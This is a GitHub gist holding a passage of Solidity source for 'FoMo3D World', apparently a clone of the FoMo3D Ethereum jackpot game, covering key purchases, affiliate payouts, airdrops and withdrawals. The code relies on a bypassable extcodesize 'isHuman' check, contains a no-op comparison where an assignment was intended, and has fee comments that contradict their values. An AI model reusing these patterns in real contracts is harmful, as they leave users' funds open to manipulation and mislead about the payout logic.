Skip to content

Instantly share code, notes, and snippets.

@jin10086
Created August 25, 2018 03:46
Show Gist options
  • Save jin10086/7176369a801edeae4231072186780fd6 to your computer and use it in GitHub Desktop.
Save jin10086/7176369a801edeae4231072186780fd6 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.24+commit.e67f0147.js&optimize=false&gist=
pragma solidity ^0.4.24;
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract F3Devents {
/*
event debug (
uint16 code,
uint256 value,
bytes32 msg
);
*/
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
// fired at end of buy or reload
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 mktAmount,
// uint256 comAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
// fired whenever theres a withdraw
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
// fired whenever a withdraw forces end round to be ran
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 mktAmount,
uint256 genAmount
);
// (fomo3d long only) fired whenever a player tries a buy after round timer
// hit zero, and causes end round to be ran.
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 mktAmount,
uint256 genAmount
);
// (fomo3d long only) fired whenever a player tries a reload after round timer
// hit zero, and causes end round to be ran.
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 mktAmount,
uint256 genAmount
);
// fired whenever an affiliate is paid
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
// received pot swap deposit
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract FoMo3DWorld is modularLong, Ownable {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
// otherFoMo3D private otherF3D_;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xd4e40a62d8341c2a88ebbc1c164e30fc50f5e9aa);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant public name = "FoMo3D World";
string constant public symbol = "F3DW";
// uint256 private rndExtra_ = extSettings.getLongExtra(); // length of the very first ICO
uint256 constant private rndGap_ = 0; // 120 seconds; // length of ICO phase.
uint256 constant private rndInit_ = 1 hours; // round timer starts at this
uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 3 hours; // max length a round timer can be
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D, P3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(30, 6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(43, 0); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(56, 10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(43, 8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
// how to split up the final pot based on which team was picked
// (F3D, P3D)
potSplit_[0] = F3Ddatasets.PotSplit(15, 10); //48% to winner, 25% to next round, 2% to com
potSplit_[1] = F3Ddatasets.PotSplit(25, 0); //48% to winner, 25% to next round, 2% to com
potSplit_[2] = F3Ddatasets.PotSplit(20, 20); //48% to winner, 10% to next round, 2% to com
potSplit_[3] = F3Ddatasets.PotSplit(30, 10); //48% to winner, 10% to next round, 2% to com
}
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.mktAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.mktAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.mktAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// // early round eth limiter
// if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
// {
// uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
// uint256 _refund = _eth.sub(_availableLimit);
// plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
// _eth = _availableLimit;
// }
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
